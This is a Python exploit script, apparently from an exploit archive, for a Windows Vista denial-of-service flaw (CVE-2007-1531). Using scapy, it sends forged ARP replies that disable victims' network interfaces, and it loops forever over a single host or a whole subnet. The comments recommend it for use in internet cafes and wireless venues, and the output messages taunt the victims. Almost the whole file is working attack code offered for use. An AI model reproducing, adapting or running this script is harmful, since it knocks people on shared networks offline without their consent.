Microsoft Windows Vista forged ARP packet network stack denial of service exploit.
86c3dbfa55a8c8d79ac06c2018dbe622b3ee522ad51e029c7069e9050c78c779
#!/usr/bin/env python
#
# :: Kristian Hermansen ::
# Date: 20070514
# Reference: CVE-2007-1531
# Description: Microsoft Windows Vista (SP0) dumps interfaces when
# it receives this ARP packet. This DoS is useful for an internet
# cafe, wireless venue, or legitimate local attack. The victim will
# need to manually refresh their network interface. OK, sure
# it's a dumb local attack, but why does Vista disable iface!?!??
# -> Thanks to Newsham / Hoagland
# Vulnerable: Microsoft Windows Vista (SP0) [All Versions]
# Tested:
# * victim == Windows Vista Enterprise (SP0) [English]
# * attacker == Ubuntu Feisty (7.04)
# Usage: python fISTArp.py <victim>
# Depends: scapy.py
# [?] If you don't have scapy
# [+] wget http://hg.secdev.org/scapy/raw-file/tip/scapy.py
from sys import argv
from os import geteuid
from scapy import Ether,ARP,send,srp,conf
from time import sleep
conf.verb = 0
def head():
print """
__ ___ ____ _____ _
/ _|_ _/ ___|_ _|/ \ _ __ _ __
| |_ | |\___ \ | | / _ \ | '__| '_ \
| _|| | ___) || |/ ___ \| | | |_) |
|_| |___|____/ |_/_/ \_\_| | .__/
|_|
"""
def isroot():
if geteuid() != 0:
print "TRY AGAIN AS ROOT SILLY..."
return False
else:
return True
def usage():
print "usage:", argv[0], "<victim(s)>"
print "examples:", argv[0], "192.168.1.100"
print "examples:", argv[0], "192.168.1.0/24\n"
def fisting():
arp_fist = ARP(pdst=argv[1],op=2)
print "We are going to loop forever, CTRL-C to stop...\n"
while True:
sleep(3)
for a in arp_fist:
arping = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=a.pdst)
ans,unans = srp(arping,timeout=0.1)
if len(ans) == 1:
a.psrc=a.pdst
print a.pdst, "is ALIVE!"
print "* Time to shut it down!"
send(a)
ans2,unans2 = srp(arping,timeout=0.1)
if len(unans2) == 1:
print "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"
print "@@@", a.psrc, "was rubber fisted!"
print "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"
sleep(3)
else:
print "FAILED:", a.pdst, "is still alive :-("
else:
print a.pdst, "is already DEAD!"
print
head()
if isroot() != True:
exit(1)
if len(argv) != 2:
usage()
exit(1)
else:
fisting()
# u.b.u.n.t.u n.e.t.s.n.i.p.e.r t.h.c.t.e.st.